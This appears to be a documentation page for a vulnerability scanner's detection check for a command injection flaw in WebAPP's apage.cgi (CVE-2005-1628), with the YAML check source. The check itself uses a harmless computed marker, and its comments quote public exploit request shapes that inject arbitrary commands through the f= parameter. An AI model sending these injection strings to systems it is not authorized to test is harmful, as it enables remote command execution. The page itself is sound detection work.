WebAPP — 1 vulnerability check
noctis ships 1 vulnerability check for WebAPP, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WebAPP apage.cgi Command Execution
| CVE | CVE-2005-1628 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/webapp/CVE-2005-1628.yaml |
Detects unauthenticated command execution in mods/apage/apage.cgi of WebAPP (Web Automated Perl Portal, web-app.net) 0.9.9.2.1 and earlier (CVE-2005-1628). The script opens the page named by its f parameter with Perl's two-argument open(), so a value ending in `|` runs a shell command as the web server user and prints its output in the page. The feed requests mods/apage/apage.cgi under /cgi-bin, /webapp, /cgi-bin/webapp, /scripts and the web root with f=file.htm.|echo NOCTIS`expr a - b`| (per-run random numbers, spaces written as ${IFS} so the request works whether or not the query string is URL-decoded). It reports only when the reply contains NOCTIS followed by the computed difference, which only real shell execution can produce. Nothing is read or written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/mods/apage/apage.cgi?f=file.htm.|echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${… - Checks
inj.bannerforNOCTIS→ finding QoD 97: apage.cgi command execution confirmed via GET …/mods/apage/apage.cgi?f=file.htm.|echo NOCTIS`expr … - …`|: the shell printed NOCTIS… (a dif…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-1628
- https://www.exploit-db.com/exploits/1004
- https://www.exploit-db.com/exploits/1005
- http://www.securityfocus.com/bid/13637
Feed source — tests/vulnerabilities/webapp/CVE-2005-1628.yaml
# WebAPP (web-app.net "Web Automated Perl Portal") apage.cgi command execution
# (CVE-2005-1628, BID 13637)
#
# Credit: target script and request shape adapted from Greenbone's
# `pre2008/webapp_apage_cmd_exe.nasl` (GPL-2.0-only), which — once
# `webapp_detect.nasl` found a WebAPP index under "/" or a CGI dir — requests
# <dir>/mods/apage/apage.cgi?f=file.htm.|id| and looks for the uid=/gid= output
# of `id`.
# Exploit shapes (SoulBlack sbwebapp.php / EDB 1004, Alpha_Programmer EDB 1005,
# b0rizQ 2006):
# GET /cgi-bin/mods/apage/apage.cgi?f=expofranquicias.htm|echo%20c0mand0s;<cmd>;echo%20final1zar|
# GET <dir>apage.cgi?f=file.htm.|echo$IFS"_N_";<cmd>;echo$IFS"_T_"|
# GET /cgi-bin/mods/apage/apage.cgi?f=training.htm.|pwd|
#
# Root cause: apage.cgi opens the page named by f= with Perl's two-argument
# open(); a name ending in `|` is run by /bin/sh as a read pipe
# ("<pagedir>/file.htm.|<cmd>|": the first word fails, <cmd> runs) and the
# command's output is printed as the page body.
#
# This feed sends f=file.htm.|echo${IFS}NOCTIS`expr${IFS}<a>${IFS}-${IFS}<b>`|
# raw (a = 7-digit, b = 6-digit per-run random ints):
# * ${IFS} instead of spaces and no `%`/`+` in the payload: the same bytes
# reach the shell whether or not the CGI URL-decodes its query string;
# every Bourne shell knows ${IFS} and expr.
# * the difference a-b never appears in the request, so a page that reflects
# or strips the f= value cannot produce it.
#
# Better than the reference check: it runs without the WebAPP index-page
# detection (an install whose front page lacks the Generator meta tag, or
# whose apage module sits under /webapp, is still probed), it needs no `id`
# output (an inert computed marker instead), and its uid=/gid= regex would
# also match a page that merely quotes `id` output.
uid: 6b579a7b-ca41-4128-be60-82949e16d1d7
name: "WebAPP apage.cgi Command Execution (CVE-2005-1628)"
description: |
Detects unauthenticated command execution in mods/apage/apage.cgi of WebAPP
(Web Automated Perl Portal, web-app.net) 0.9.9.2.1 and earlier
(CVE-2005-1628). The script opens the page named by its f parameter with
Perl's two-argument open(), so a value ending in `|` runs a shell command as
the web server user and prints its output in the page. The feed requests
mods/apage/apage.cgi under /cgi-bin, /webapp, /cgi-bin/webapp, /scripts and
the web root with f=file.htm.|echo NOCTIS`expr a - b`| (per-run random
numbers, spaces written as ${IFS} so the request works whether or not the
query string is URL-decoded). It reports only when the reply contains NOCTIS
followed by the computed difference, which only real shell execution can
produce. Nothing is read or written on the target.
cves: [CVE-2005-1628]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [webapp, web-app-net, cgi, perl, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-1628"
- "https://www.exploit-db.com/exploits/1004"
- "https://www.exploit-db.com/exploits/1005"
- "http://www.securityfocus.com/bid/13637"
steps:
# a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
- id: gen-tokens
action: script
code: |
let a = rand_int(5000000, 9999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, diff: "" + (a - b) }
store_as: ov
# ── Per location (CGI dirs + the web root + /webapp): this step and every following one ──
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init
action: set_var
var_name: inj
var_value: {connected: false, banner: null}
loop:
over:
- "/cgi-bin"
- "/webapp"
- "/cgi-bin/webapp"
- "/scripts"
- ""
var: dir
# f=file.htm.|echo${IFS}NOCTIS`expr${IFS}a${IFS}-${IFS}b`| (raw: no % or + to decode)
- id: inject
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/mods/apage/apage.cgi?f=file.htm.|echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${IFS}{{ov.b}}`| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10 # connect only; the reply is read for 3 s (checks/tcp.rs)
store_as: inj
- id: confirm
action: match
source: inj.banner
pattern: "NOCTIS"
condition: "type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "apage.cgi command execution confirmed via GET {{dir}}/mods/apage/apage.cgi?f=file.htm.|echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the reply"
stop: true